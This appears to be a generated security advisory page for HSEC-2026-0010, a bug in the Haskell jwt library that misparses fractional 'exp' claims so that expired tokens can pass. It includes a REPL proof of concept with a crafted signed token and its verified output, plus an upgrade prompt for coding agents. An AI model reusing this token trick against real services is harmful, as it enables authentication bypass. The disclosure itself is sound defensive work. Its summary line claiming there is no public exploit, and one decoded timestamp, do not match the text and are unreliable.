# HSEC-2026-0010: Improper parsing of fractional NumericDate from JWT exp claims

> The Haskell jwt library incorrectly parses fractional JWT expiration times, allowing expired tokens to be accepted as valid.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 29 Sep 2026

## What is HSEC-2026-0010?

HSEC-2026-0010 is a vulnerability in jwt, published on 29 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

# Improper parsing of fractional `NumericDate` from JWT `exp` claims

Since its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.

PoC:

```haskell
cabal repl --build-depends jwt==0.11.0

import Web.JWT
:set -XOverloadedStrings

let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret"
let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o"
-- {
--   "sub": "1234567890",
--   "name": "Honest Joe",
--   "admin": true,
--   "iat": 1790166786,
--   "exp": 1790170386.0001
-- }
λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit
λ
λλ ➔ whoops
Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o")
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops
Just 1790166786s
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops
Just 17901703860001s
```

The encoded claim `exp = 1790170386.0001` is:
1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*"... non-integer values can be represented."*);
2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev);
3. Decodes incorrectly as `569252-05-30T12:40:01`  (== posix epoch `17901703860001`) by the `jwt` library.
   ```
   >>> import Data.Time.Format.ISO8601
   >>> import Data.Time.Clock.POSIX
   >>>
   >>> iso8601Show $ posixSecondsToUTCTime 1790166786
   "2026-09-23T12:33:06Z"
   >>>
   >>> iso8601Show $ posixSecondsToUTCTime 17901703860001
   "569252-05-30T12:40:01Z"
   ```
This happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.

Since the standard `exp` claim carries credential expiration time:

>  ### [4.1.4][rfc-4.1.4].  "exp" (Expiration Time) Claim
> 
>    The "exp" (expiration time) claim identifies the expiration time on
>    or after which the JWT MUST NOT be accepted for processing.  The
>    processing of the "exp" claim requires that the current date/time
>    MUST be before the expiration date/time listed in the "exp" claim.

— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.

[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209
[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2
[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4
[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2

## Which versions are affected by HSEC-2026-0010?

1 open source package ship an affected version, including jwt.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `jwt` | Hackage | From 0.1.0 | 0.12.0 |

## How do I fix HSEC-2026-0010?

Upgrade jwt to 0.12.0 or later.

## Is HSEC-2026-0010 being exploited?

There is no known exploitation of HSEC-2026-0010 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for HSEC-2026-0010 and fix it if it is affected.

What it is: HSEC-2026-0010 is a vulnerability in jwt, published on 29 Sep 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of HSEC-2026-0010 in the wild and no public exploit code.

Affected packages and fixed versions:
- jwt (Hackage): affected from 0.1.0; fixed in 0.12.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/HSEC-2026-0010/ (Markdown: https://insights.sbomify.com/HSEC-2026-0010/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/HSEC-2026-0010

---
From sbomify Insights: https://insights.sbomify.com/HSEC-2026-0010/
Summaries are generated and may contain mistakes; the official description above is the record.